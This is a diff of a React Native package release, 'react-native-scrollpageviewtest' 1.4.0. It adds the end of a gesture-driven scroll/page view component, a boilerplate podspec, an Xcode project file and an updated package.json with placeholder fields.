if (maxX !== this._contentOffset.x || maxY !== this._contentOffset.y) {
|
530
|
+
Platform.OS === "android" && this.scrollTo({ x: maxX, y: maxY }, false);
|
531
|
+
}
|
532
|
+
this.forceUpdate();
|
533
|
+
clearInterval(this._sizeChangeInterval);
|
534
|
+
this._sizeChangeInterval = 0;
|
535
|
+
}, Platform.select({ ios: 10, android: 30 }));
|
536
|
+
};
|
537
|
+
|
538
|
+
render = () => {
|
539
|
+
const {
|
540
|
+
style,
|
541
|
+
inverted,
|
542
|
+
onRefresh,
|
543
|
+
onLoading,
|
544
|
+
pageWidth,
|
545
|
+
children,
|
546
|
+
onMomentumScrollEnd,
|
547
|
+
onMomentumScrollBegin,
|
548
|
+
scrollEnabled,
|
549
|
+
activeOffset,
|
550
|
+
activeVelocity,
|
551
|
+
onGestureEvent,
|
552
|
+
onMomentumScrollActive,
|
553
|
+
onStateChange
|
554
|
+
} = this.props;
|
555
|
+
return (
|
556
|
+
<View style={{width: pageWidth}}>
|
557
|
+
<PanGestureHandler
|
558
|
+
onFocus
|
559
|
+
enabled={scrollEnabled}
|
560
|
+
shouldCancelWhenOutside
|
561
|
+
maxPointers={1}
|
562
|
+
onGestureEvent={onGestureEvent}
|
563
|
+
onHandlerStateChange={evt => {
|
564
|
+
if (evt.nativeEvent.state === State.BEGAN) {
|
565
|
+
onMomentumScrollBegin && onMomentumScrollBegin();
|
566
|
+
} else if (evt.nativeEvent.state === State.ACTIVE) {
|
567
|
+
onMomentumScrollActive && onMomentumScrollActive();
|
568
|
+
} else if (evt.nativeEvent.oldState === State.ACTIVE) {
|
569
|
+
const velocityX = evt.nativeEvent.velocityX;
|
570
|
+
const translationX = evt.nativeEvent.translationX;
|
571
|
+
if (Math.abs(translationX) > activeOffset || Math.abs(velocityX) > activeVelocity) {
|
572
|
+
onMomentumScrollEnd && onMomentumScrollEnd(true, translationX);
|
573
|
+
} else {
|
574
|
+
onMomentumScrollEnd && onMomentumScrollEnd(false, translationX);
|
575
|
+
}
|
576
|
+
}
|
577
|
+
onStateChange && onStateChange(evt);
|
578
|
+
}}
|
579
|
+
>
|
580
|
+
<Animated.View
|
581
|
+
style={{
|
582
|
+
width: pageWidth
|
583
|
+
}}
|
584
|
+
>
|
585
|
+
{children}
|
586
|
+
</Animated.View>
|
587
|
+
</PanGestureHandler>
|
588
|
+
</View>
|
589
|
+
);
|
590
|
+
}
|
591
|
+
|
592
|
+
_onTouchBegin = (e) => {
|
593
|
+
this._touching = true;
|
594
|
+
this.props.onTouchBegin && this.props.onTouchBegin(e);
|
595
|
+
};
|
596
|
+
|
597
|
+
_onTouchEnd = (e) => {
|
598
|
+
this._touching = false;
|
599
|
+
this.props.onTouchEnd && this.props.onTouchEnd(e);
|
600
|
+
};
|
601
|
+
|
602
|
+
_onMomentumScrollEnd = () => {
|
603
|
+
this._touching = false;
|
604
|
+
this._dragging = false;
|
605
|
+
this._beginIndicatorDismissAnimation();
|
606
|
+
this.props.onMomentumScrollEnd && this.props.onMomentumScrollEnd();
|
607
|
+
};
|
608
|
+
|
609
|
+
_onScrollBeginDrag = () => {
|
610
|
+
this._dragging = true;
|
611
|
+
if (this.props.dragToHideKeyboard) Keyboard.dismiss();
|
612
|
+
this.props.onScrollBeginDrag && this.props.onScrollBeginDrag();
|
613
|
+
};
|
614
|
+
|
615
|
+
_onScrollEndDrag = () => {
|
616
|
+
this._dragging = false;
|
617
|
+
this.props.onScrollEndDrag && this.props.onScrollEndDrag();
|
618
|
+
};
|
619
|
+
|
620
|
+
static defaultProps = {
|
621
|
+
bounces: true,
|
622
|
+
textInputRefs: [],
|
623
|
+
decelerationRate: 0.997,
|
624
|
+
inputToolBarHeight: 44,
|
625
|
+
dragToHideKeyboard: true,
|
626
|
+
keyboardShouldPersistTaps: "handled",
|
627
|
+
showsVerticalScrollIndicator: true,
|
628
|
+
showsHorizontalScrollIndicator: true,
|
629
|
+
initialContentOffset: { x: 0, y: 0 },
|
630
|
+
alwaysBounceVertical: true,
|
631
|
+
pagingEnabled: false,
|
632
|
+
pageWidth: Dimensions.get('window').width,
|
633
|
+
scrollEnabled: true,
|
634
|
+
activeOffset: 100,
|
635
|
+
activeVelocity: 800
|
636
|
+
};
|
637
|
+
}
|
@@ -0,0 +1,24 @@
|
|
1
|
+
|
2
|
+
Pod::Spec.new do |s|
|
3
|
+
s.name = "RNScrollpageviewtest"
|
4
|
+
s.version = "1.0.0"
|
5
|
+
s.summary = "RNScrollpageviewtest"
|
6
|
+
s.description = <<-DESC
|
7
|
+
RNScrollpageviewtest
|
8
|
+
DESC
|
9
|
+
s.homepage = ""
|
10
|
+
s.license = "MIT"
|
11
|
+
# s.license = { :type => "MIT", :file => "FILE_LICENSE" }
|
12
|
+
s.author = { "author" => "author@domain.cn" }
|
13
|
+
s.platform = :ios, "7.0"
|
14
|
+
s.source = { :git => "https://github.com/author/RNScrollpageviewtest.git", :tag => "master" }
|
15
|
+
s.source_files = "RNScrollpageviewtest/**/*.{h,m}"
|
16
|
+
s.requires_arc = true
|
17
|
+
|
18
|
+
|
19
|
+
s.dependency "React"
|
20
|
+
#s.dependency "others"
|
21
|
+
|
22
|
+
end
|
23
|
+
|
24
|
+
|
@@ -0,0 +1,259 @@
|
|
1
|
+
// !$*UTF8*$!
|
2
|
+
{
|
3
|
+
archiveVersion = 1;
|
4
|
+
classes = {
|
5
|
+
};
|
6
|
+
objectVersion = 46;
|
7
|
+
objects = {
|
8
|
+
|
9
|
+
/* Begin PBXBuildFile section */
|
10
|
+
B3E7B58A1CC2AC0600A0062D /* RNScrollpageviewtest.m in Sources */ = {isa = PBXBuildFile; fileRef = B3E7B5891CC2AC0600A0062D /* RNScrollpageviewtest.m */; };
|
11
|
+
/* End PBXBuildFile section */
|
12
|
+
|
13
|
+
/* Begin PBXCopyFilesBuildPhase section */
|
14
|
+
58B511D91A9E6C8500147676 /* CopyFiles */ = {
|
15
|
+
isa = PBXCopyFilesBuildPhase;
|
16
|
+
buildActionMask = 2147483647;
|
17
|
+
dstPath = "include/$(PRODUCT_NAME)";
|
18
|
+
dstSubfolderSpec = 16;
|
19
|
+
files = (
|
20
|
+
);
|
21
|
+
runOnlyForDeploymentPostprocessing = 0;
|
22
|
+
};
|
23
|
+
/* End PBXCopyFilesBuildPhase section */
|
24
|
+
|
25
|
+
/* Begin PBXFileReference section */
|
26
|
+
134814201AA4EA6300B7C361 /* libRNScrollpageviewtest.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libRNScrollpageviewtest.a; sourceTree = BUILT_PRODUCTS_DIR; };
|
27
|
+
B3E7B5881CC2AC0600A0062D /* RNScrollpageviewtest.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RNScrollpageviewtest.h; sourceTree = "<group>"; };
|
28
|
+
B3E7B5891CC2AC0600A0062D /* RNScrollpageviewtest.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = RNScrollpageviewtest.m; sourceTree = "<group>"; };
|
29
|
+
/* End PBXFileReference section */
|
30
|
+
|
31
|
+
/* Begin PBXFrameworksBuildPhase section */
|
32
|
+
58B511D81A9E6C8500147676 /* Frameworks */ = {
|
33
|
+
isa = PBXFrameworksBuildPhase;
|
34
|
+
buildActionMask = 2147483647;
|
35
|
+
files = (
|
36
|
+
);
|
37
|
+
runOnlyForDeploymentPostprocessing = 0;
|
38
|
+
};
|
39
|
+
/* End PBXFrameworksBuildPhase section */
|
40
|
+
|
41
|
+
/* Begin PBXGroup section */
|
42
|
+
134814211AA4EA7D00B7C361 /* Products */ = {
|
43
|
+
isa = PBXGroup;
|
44
|
+
children = (
|
45
|
+
134814201AA4EA6300B7C361 /* libRNScrollpageviewtest.a */,
|
46
|
+
);
|
47
|
+
name = Products;
|
48
|
+
sourceTree = "<group>";
|
49
|
+
};
|
50
|
+
58B511D21A9E6C8500147676 = {
|
51
|
+
isa = PBXGroup;
|
52
|
+
children = (
|
53
|
+
B3E7B5881CC2AC0600A0062D /* RNScrollpageviewtest.h */,
|
54
|
+
B3E7B5891CC2AC0600A0062D /* RNScrollpageviewtest.m */,
|
55
|
+
134814211AA4EA7D00B7C361 /* Products */,
|
56
|
+
);
|
57
|
+
sourceTree = "<group>";
|
58
|
+
};
|
59
|
+
/* End PBXGroup section */
|
60
|
+
|
61
|
+
/* Begin PBXNativeTarget section */
|
62
|
+
58B511DA1A9E6C8500147676 /* RNScrollpageviewtest */ = {
|
63
|
+
isa = PBXNativeTarget;
|
64
|
+
buildConfigurationList = 58B511EF1A9E6C8500147676 /* Build configuration list for PBXNativeTarget "RNScrollpageviewtest" */;
|
65
|
+
buildPhases = (
|
66
|
+
58B511D71A9E6C8500147676 /* Sources */,
|
67
|
+
58B511D81A9E6C8500147676 /* Frameworks */,
|
68
|
+
58B511D91A9E6C8500147676 /* CopyFiles */,
|
69
|
+
);
|
70
|
+
buildRules = (
|
71
|
+
);
|
72
|
+
dependencies = (
|
73
|
+
);
|
74
|
+
name = RNScrollpageviewtest;
|
75
|
+
productName = RCTDataManager;
|
76
|
+
productReference = 134814201AA4EA6300B7C361 /* libRNScrollpageviewtest.a */;
|
77
|
+
productType = "com.apple.product-type.library.static";
|
78
|
+
};
|
79
|
+
/* End PBXNativeTarget section */
|
80
|
+
|
81
|
+
/* Begin PBXProject section */
|
82
|
+
58B511D31A9E6C8500147676 /* Project object */ = {
|
83
|
+
isa = PBXProject;
|
84
|
+
attributes = {
|
85
|
+
LastUpgradeCheck = 0830;
|
86
|
+
ORGANIZATIONNAME = Facebook;
|
87
|
+
TargetAttributes = {
|
88
|
+
58B511DA1A9E6C8500147676 = {
|
89
|
+
CreatedOnToolsVersion = 6.1.1;
|
90
|
+
};
|
91
|
+
};
|
92
|
+
};
|
93
|
+
buildConfigurationList = 58B511D61A9E6C8500147676 /* Build configuration list for PBXProject "RNScrollpageviewtest" */;
|
94
|
+
compatibilityVersion = "Xcode 3.2";
|
95
|
+
developmentRegion = English;
|
96
|
+
hasScannedForEncodings = 0;
|
97
|
+
knownRegions = (
|
98
|
+
en,
|
99
|
+
);
|
100
|
+
mainGroup = 58B511D21A9E6C8500147676;
|
101
|
+
productRefGroup = 58B511D21A9E6C8500147676;
|
102
|
+
projectDirPath = "";
|
103
|
+
projectRoot = "";
|
104
|
+
targets = (
|
105
|
+
58B511DA1A9E6C8500147676 /* RNScrollpageviewtest */,
|
106
|
+
);
|
107
|
+
};
|
108
|
+
/* End PBXProject section */
|
109
|
+
|
110
|
+
/* Begin PBXSourcesBuildPhase section */
|
111
|
+
58B511D71A9E6C8500147676 /* Sources */ = {
|
112
|
+
isa = PBXSourcesBuildPhase;
|
113
|
+
buildActionMask = 2147483647;
|
114
|
+
files = (
|
115
|
+
B3E7B58A1CC2AC0600A0062D /* RNScrollpageviewtest.m in Sources */,
|
116
|
+
);
|
117
|
+
runOnlyForDeploymentPostprocessing = 0;
|
118
|
+
};
|
119
|
+
/* End PBXSourcesBuildPhase section */
|
120
|
+
|
121
|
+
/* Begin XCBuildConfiguration section */
|
122
|
+
58B511ED1A9E6C8500147676 /* Debug */ = {
|
123
|
+
isa = XCBuildConfiguration;
|
124
|
+
buildSettings = {
|
125
|
+
ALWAYS_SEARCH_USER_PATHS = NO;
|
126
|
+
CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x";
|
127
|
+
CLANG_CXX_LIBRARY = "libc++";
|
128
|
+
CLANG_ENABLE_MODULES = YES;
|
129
|
+
CLANG_ENABLE_OBJC_ARC = YES;
|
130
|
+
CLANG_WARN_BOOL_CONVERSION = YES;
|
131
|
+
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
132
|
+
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
133
|
+
CLANG_WARN_EMPTY_BODY = YES;
|
134
|
+
CLANG_WARN_ENUM_CONVERSION = YES;
|
135
|
+
CLANG_WARN_INFINITE_RECURSION = YES;
|
136
|
+
CLANG_WARN_INT_CONVERSION = YES;
|
137
|
+
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
138
|
+
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
139
|
+
CLANG_WARN_UNREACHABLE_CODE = YES;
|
140
|
+
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
141
|
+
COPY_PHASE_STRIP = NO;
|
142
|
+
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
143
|
+
ENABLE_TESTABILITY = YES;
|
144
|
+
GCC_C_LANGUAGE_STANDARD = gnu99;
|
145
|
+
GCC_DYNAMIC_NO_PIC = NO;
|
146
|
+
GCC_NO_COMMON_BLOCKS = YES;
|
147
|
+
GCC_OPTIMIZATION_LEVEL = 0;
|
148
|
+
GCC_PREPROCESSOR_DEFINITIONS = (
|
149
|
+
"DEBUG=1",
|
150
|
+
"$(inherited)",
|
151
|
+
);
|
152
|
+
GCC_SYMBOLS_PRIVATE_EXTERN = NO;
|
153
|
+
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
154
|
+
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
155
|
+
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
156
|
+
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
157
|
+
GCC_WARN_UNUSED_FUNCTION = YES;
|
158
|
+
GCC_WARN_UNUSED_VARIABLE = YES;
|
159
|
+
IPHONEOS_DEPLOYMENT_TARGET = 8.0;
|
160
|
+
MTL_ENABLE_DEBUG_INFO = YES;
|
161
|
+
ONLY_ACTIVE_ARCH = YES;
|
162
|
+
SDKROOT = iphoneos;
|
163
|
+
};
|
164
|
+
name = Debug;
|
165
|
+
};
|
166
|
+
58B511EE1A9E6C8500147676 /* Release */ = {
|
167
|
+
isa = XCBuildConfiguration;
|
168
|
+
buildSettings = {
|
169
|
+
ALWAYS_SEARCH_USER_PATHS = NO;
|
170
|
+
CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x";
|
171
|
+
CLANG_CXX_LIBRARY = "libc++";
|
172
|
+
CLANG_ENABLE_MODULES = YES;
|
173
|
+
CLANG_ENABLE_OBJC_ARC = YES;
|
174
|
+
CLANG_WARN_BOOL_CONVERSION = YES;
|
175
|
+
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
176
|
+
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
177
|
+
CLANG_WARN_EMPTY_BODY = YES;
|
178
|
+
CLANG_WARN_ENUM_CONVERSION = YES;
|
179
|
+
CLANG_WARN_INFINITE_RECURSION = YES;
|
180
|
+
CLANG_WARN_INT_CONVERSION = YES;
|
181
|
+
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
182
|
+
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
183
|
+
CLANG_WARN_UNREACHABLE_CODE = YES;
|
184
|
+
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
185
|
+
COPY_PHASE_STRIP = YES;
|
186
|
+
ENABLE_NS_ASSERTIONS = NO;
|
187
|
+
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
188
|
+
GCC_C_LANGUAGE_STANDARD = gnu99;
|
189
|
+
GCC_NO_COMMON_BLOCKS = YES;
|
190
|
+
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
191
|
+
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
192
|
+
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
193
|
+
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
194
|
+
GCC_WARN_UNUSED_FUNCTION = YES;
|
195
|
+
GCC_WARN_UNUSED_VARIABLE = YES;
|
196
|
+
IPHONEOS_DEPLOYMENT_TARGET = 8.0;
|
197
|
+
MTL_ENABLE_DEBUG_INFO = NO;
|
198
|
+
SDKROOT = iphoneos;
|
199
|
+
VALIDATE_PRODUCT = YES;
|
200
|
+
};
|
201
|
+
name = Release;
|
202
|
+
};
|
203
|
+
58B511F01A9E6C8500147676 /* Debug */ = {
|
204
|
+
isa = XCBuildConfiguration;
|
205
|
+
buildSettings = {
|
206
|
+
HEADER_SEARCH_PATHS = (
|
207
|
+
"$(inherited)",
|
208
|
+
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include,
|
209
|
+
"$(SRCROOT)/../../../React/**",
|
210
|
+
"$(SRCROOT)/../../react-native/React/**",
|
211
|
+
);
|
212
|
+
LIBRARY_SEARCH_PATHS = "$(inherited)";
|
213
|
+
OTHER_LDFLAGS = "-ObjC";
|
214
|
+
PRODUCT_NAME = RNScrollpageviewtest;
|
215
|
+
SKIP_INSTALL = YES;
|
216
|
+
};
|
217
|
+
name = Debug;
|
218
|
+
};
|
219
|
+
58B511F11A9E6C8500147676 /* Release */ = {
|
220
|
+
isa = XCBuildConfiguration;
|
221
|
+
buildSettings = {
|
222
|
+
HEADER_SEARCH_PATHS = (
|
223
|
+
"$(inherited)",
|
224
|
+
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include,
|
225
|
+
"$(SRCROOT)/../../../React/**",
|
226
|
+
"$(SRCROOT)/../../react-native/React/**",
|
227
|
+
);
|
228
|
+
LIBRARY_SEARCH_PATHS = "$(inherited)";
|
229
|
+
OTHER_LDFLAGS = "-ObjC";
|
230
|
+
PRODUCT_NAME = RNScrollpageviewtest;
|
231
|
+
SKIP_INSTALL = YES;
|
232
|
+
};
|
233
|
+
name = Release;
|
234
|
+
};
|
235
|
+
/* End XCBuildConfiguration section */
|
236
|
+
|
237
|
+
/* Begin XCConfigurationList section */
|
238
|
+
58B511D61A9E6C8500147676 /* Build configuration list for PBXProject "RNScrollpageviewtest" */ = {
|
239
|
+
isa = XCConfigurationList;
|
240
|
+
buildConfigurations = (
|
241
|
+
58B511ED1A9E6C8500147676 /* Debug */,
|
242
|
+
58B511EE1A9E6C8500147676 /* Release */,
|
243
|
+
);
|
244
|
+
defaultConfigurationIsVisible = 0;
|
245
|
+
defaultConfigurationName = Release;
|
246
|
+
};
|
247
|
+
58B511EF1A9E6C8500147676 /* Build configuration list for PBXNativeTarget "RNScrollpageviewtest" */ = {
|
248
|
+
isa = XCConfigurationList;
|
249
|
+
buildConfigurations = (
|
250
|
+
58B511F01A9E6C8500147676 /* Debug */,
|
251
|
+
58B511F11A9E6C8500147676 /* Release */,
|
252
|
+
);
|
253
|
+
defaultConfigurationIsVisible = 0;
|
254
|
+
defaultConfigurationName = Release;
|
255
|
+
};
|
256
|
+
/* End XCConfigurationList section */
|
257
|
+
};
|
258
|
+
rootObject = 58B511D31A9E6C8500147676 /* Project object */;
|
259
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "react-native-scrollpageviewtest",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.4.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [
|
10
|
+
"react-native"
|
11
|
+
],
|
12
|
+
"author": "",
|
13
|
+
"license": "",
|
14
|
+
"peerDependencies": {
|
15
|
+
"react-native": "^0.41.2"
|
16
|
+
}
|
6
17
|
}
|